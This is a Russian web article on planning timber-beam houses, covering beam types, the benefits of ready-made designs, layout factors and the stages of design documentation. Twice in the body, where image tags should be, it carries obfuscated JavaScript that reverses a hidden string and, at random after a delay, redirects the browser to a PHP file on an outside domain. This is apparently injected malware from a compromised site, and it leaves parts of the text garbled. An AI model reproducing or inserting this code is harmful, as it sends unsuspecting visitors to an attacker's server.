Проекты брусовых домов: все правила и нюансы планирования

Непрактично приступать к возведению дома без готового продуманного проекта на руках. Пусть не пугает стоимость его разработки, в конечном итоге вы сэкономите. Не будет лишних трат на переделки по ходу строительства, а смета даст точную цифру количества материалов и расходов. Сегодня очень востребованы проекты брусовых домов 9х9 (для небольшой семьи), а также варианты площадью от 100 до 200м2.

Проект избавит строительство от ошибок и сделает его быстрее.

Брус, как выгодный материал

Стоит отметить, что технология строительства напрямую зависима от типа и качества материала. Первоначально предлагался просто отесанный с четырех сторон массив ствола.

На данный момент успешно используются много разновидностей бруса, как бюджетных, так и элитных, дорогостоящих:

1. Массивный не профилированный аналог. Это обычный, недорогой вариант.
2. Профилированный массивный брус. Здесь бросается в глаза достаточно высокое качество, совпадающие размеры и более четкая геометрия.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—shema-proizvodstva-kleenogo-brusa-600×415.jpg» alt=»На фото — схема производства клееного бруса.» width=»600″ height=»415″ /> На фото — схема производства клееного бруса.

3. Клееный материал состоит из нескольких слоев. Он прочен, хорошо ведет себя при перепадах температуры и влажности.
4. Термобрус (теплосберегающий) снабжен прослойкой из удерживающего тепло экструдированного пенополистирола.

Обратите внимание!
Любой из вышеперечисленных видов имеет несколько стандартов длины, высоты, ширины, влажности и сорта.
При этом заказчику не придется долго ждать возведения, дом собирается подобно конструктору, с удивительной скоростью.

Плюсы планирования

Профессионально выполненные проекты брусового дома лучше выбирать в хорошо зарекомендовавших себя компаниях. Причем, есть возможность приобрести уже готовый, или сделать индивидуальный заказ.

Проектные бюро располагают обширными каталогами, с ассортиментом на любой вкус и бюджет. Также в типовой документ по желанию заказчика можно внести необходимые изменения.

Большинство проектных бюро имеют в своей копилке множество готовых – типовых проектов домов.

Достоинства профессиональных готовых проектов

1. Риски ошибок сведены до минимума. Профессиональный подход позволяет исключить вероятность некачественного функционирования жилья. Рассчитываются как конструктивные моменты, так и оптимальная закладка коммуникаций, систем жизнеобеспечения и комфортного расположения здания.
2. Наглядно представленные проекты одноэтажных брусовых домов в виртуальном виде покажут будущему хозяину коттедж его мечты еще до начала работ по сборке.
3. Хорошо зарекомендовавшая себя организация выполнит расчеты и разработку в кратчайшие сроки.
4. Выбрав понравившийся объект, вы вправе внести коррективы в увиденный усредненный шаблон. Эта база данных дает простор для реализации творческой фантазии, воплощения давно созревших идей.
   
   $NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovym-proektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom-na-rukah-stroiteli-vedut-raboty-gorazdo-bystr-e1436983793951.jpg» alt=»С готовым проектом на руках строители ведут работы гораздо быстрее.» width=»592″ height=»378″ /> С готовым проектом на руках строители ведут работы гораздо быстрее.

5. Процесс строительства с готовым проектом ускорится в разы. Держа в руках чертежи, фото и описание, вы сможете руководить работой специалистов. Многие не лишают себя удовольствия подключиться к бригаде и сделать что-то своими руками.
6. Налицо значительная экономия. Не придется подвозить лишние материалы «про запас», совершать бесполезные поездки и заказы. Четко расписанная смета сократит и время, и деньги.

Обратите внимание!
Некоторые строительные компании, дорожащие своей репутацией, выполняют проектирование брусовых домов для будущих собственников жилья бесплатно.

Что важно учесть

Строение из бруса также, как и любое другое, обязано соответствовать всем требованиям и нормам.

Вот основные факторы, обязательно учитываемые при разработке.

1. Берутся во внимание не только конструктивные, но и архитектурные особенности здания.
2. Использование качественных материалов даст положительный конечный результат.
3. Разработку следует доверять исключительно специалистам.
4. Немалую помощь в работе оказывают современные компьютерные программы, созданные с учетом особенностей строительного проектирования.

От чего зависит комфорт

Самодельный эскиз будущего дома.

Если вы запланировали строить жилье из бруса, делайте основной упор на подборе подходящего плана.

Именно от него в большей степени зависит ваш комфорт и благополучное проживание.

1. Распишите на листе бумаги количество будущих жильцов, желаемое место расположения, положение относительно сторон света. Также не помешает указать, сколько комнат планируется, наличие веранды, мансарды, балконов, лестниц.
2. Рекомендуется отметить, какие полы вы хотите видеть у себя дома, материал и цвет кровельного покрытия.
3. Важно расположение сантехнических коммуникаций, отопительных устройств, точки размещения кондиционеров и вентиляционных люков.
4. Возьмите во внимание и то, что слишком большой дом на маленьком участке будет выглядеть громоздко и не принесет радости, если втиснуть его вплотную к соседним постройкам.
5. Учитываются климатические особенности вашего региона. Это и ветровая нагрузка, количество снежного покрова, нередко очень суровый климат. Для таких условий материал полагается соответствующий, а технология строительства адаптированная.

Вариант утепления и гидроизоляции здания.

6. Решите, будет ли утепляться постройка, или вам больше по душе легкий вариант. К примеру, компактный дачный домик посезонного проживания не обязательно обшивать. Практично вынести санузел за пределы коттеджа, в целях экономии пространства.
7. Специалисты не советуют усложнять инженерные коммуникационные системы. Чем проще и короче магистрали с узлами, тем дешевле обойдется монтаж.
8. Большое количество внутренних перегородок отрицательно сказывается и на внешнем виде интерьера, и на удобстве эксплуатации. Легче и дешевле зонировать помещение при отделочных работах.
9. Неоспоримый факт – чем больше площадь будущего здания, тем ниже цена на строительство одного квадратного метра. Объясняется это оптовыми ценами на материал и накладными расходами.

Обратите внимание!
Если вас не устраивает ни один готовый проект, вам сделают индивидуальный, учитывая все нюансы и озвученные желания.
Возможно, это займет чуть больше времени, зато результат порадует.

Стадии проектирования

Архитектурная визуализация сруба.

Получив максимально подробное описание дома из бруса от заказчика, фирма обязана разработать пакет документов, выполненных на основе пожеланий клиента.

Так, проект брусового дома 6х9 включает в себя нижеследующее.

1. Пояснительное изложение, где рекомендовано указать все до мелочей.
2. Планы этажей, в том числе мансардного помещения.
3. Планы кровли и фундамента дома из бруса.
4. Фасад в нескольких ракурсах и в разрезе.
5. Общий вид здания на фоне окружающего участка.
6. Генеральный план участка с постройкой.

Обратите внимание!
Чтобы получить разрешение на строительные работы, вам обязательно потребуется эскизный проект жилища.
Также эскиз отчасти поможет предварительно оценить общую сумму расходов.

Рабочая документация

Конструктивная часть проекта.

Данный пакет в большей мере предназначен для профессионалов, нанятых на строительно-монтажные работы.

Здесь находится подробнейшая техническая информация с узкоспециализированными данными.

1. Часть архитектурно-строительного направления. Планы перекрытий и балок, фундамента, кровли, сечения и узлы.
2. Рабочие чертежи, в них инструкция предписывает изготовление или поставку строительного материала требуемого сорта, размеров и характеристик.
3. Раздел по коммуникационной сети, сантехническому оборудованию, комплектующим элементам, и с точками расположения.
4. Электрика, вентиляция, освещение, отопление и тип управленческого оборудования.
5. Указывается общий вес дома, характеристики почвы, глубина залегания грунтовых вод, вид фундамента и степень его заглубленности.
6. Объективные данные о стоимости всех частей конструкции, а также общая цифра расходов.

Вывод

Можно взяться за самостоятельное проектирование, от начала до конца. Но, не будучи профессионалом, вы вряд ли сможете осуществить идеальную стройку без периодически всплывающих ошибок. Ограничьтесь эскизом от руки и подробным описанием. Все остальное за вас сделают обученные и опытные люди.

Видео в этой статье поможет разобраться во всех тонкостях проектировки.